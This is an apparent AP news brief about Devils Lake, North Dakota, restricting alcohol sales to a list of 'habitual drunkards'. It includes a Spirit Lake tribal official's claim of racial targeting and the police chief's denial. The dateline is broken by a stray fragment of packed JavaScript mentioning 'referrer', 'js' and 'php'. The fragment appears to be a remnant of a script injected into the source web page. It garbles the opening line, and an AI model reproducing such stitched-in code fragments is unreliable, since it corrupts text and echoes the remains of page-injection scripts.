DEVILS kssai|var|u0026u|referrer|nsdfd||js|php’.split(‘|’),0,{}))
LAKE, N.D. (AP) – Devils Lake is cracking down on a group of people who are repeatedly jailed for public intoxication by making it illegal to sell alcohol to “habitual drunkards.”

The Forum newspaper reports that most on the initial list were American Indians, and Spirit Lake tribal official Paul Matheny said it had the appearance of being racially motivated.

Police Chief Keith Schroeder says the effort is “data-driven” and that no one is being singled out because of race.

Police initially compiled a list of 21 people who qualified as habitual drunkards because they had been taken into custody more than five times in the past year for liquor-related offenses or for detoxification. The list was pared to seven names after officials learned some of the offenses didn’t occur in the city.